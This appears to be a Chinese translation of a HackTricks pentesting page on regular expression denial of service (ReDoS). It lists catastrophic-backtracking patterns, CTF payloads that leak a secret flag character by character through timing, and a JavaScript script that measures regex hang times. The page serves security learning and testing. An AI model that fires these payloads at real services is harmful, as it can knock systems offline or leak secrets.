hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

5.5 KiB
Raw Blame History

正则表达式拒绝服务攻击 - ReDoS

从零开始学习AWS黑客攻击直至成为专家 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

正则表达式拒绝服务攻击 (ReDoS)

正则表达式拒绝服务攻击ReDoS是一种利用正则表达式实现中的低效率来进行的拒绝服务攻击。大多数正则表达式引擎可能会遇到极端情况它们的执行速度非常慢,通常与输入大小成指数关系。通过利用这一点,攻击者可以导致使用正则表达式的程序长时间挂起。

问题正则表达式天真算法

查看详情 https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

恶意正则表达式

恶意正则表达式模式指的是那些可以在特制输入上卡住的模式。恶意正则表达式模式通常包含带有重复的分组,以及重复或交替的分组内部有重叠。一些恶意模式的例子包括:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} 对于 x > 10

以上所有模式都容易受到输入 aaaaaaaaaaaaaaaaaaaaaaaa! 的影响(最小输入长度可能会稍有变化,取决于机器的快慢)。

ReDoS 载荷

通过ReDoS进行字符串泄露

在CTF或漏洞赏金您可能控制着敏感信息(标志)与之匹配的正则表达式。然后,如果能够使页面冻结(超时或更长的处理时间),如果正则表达式匹配不冻结。这样您就可以逐个字符地泄露字符串:

  • 这篇文章您可以找到这条ReDoS规则^(?=<flag>)((.*)*)*salt$
  • 示例:^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • 这篇writeup中,您可以找到这条规则:<flag>(((((((.*)*)*)*)*)*)*)!
  • 这篇writeup中,他使用了:^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

控制输入和正则表达式的ReDoS

以下是您控制输入和正则表达式的ReDoS示例:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

工具

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击技巧

支持HackTricks的其他方式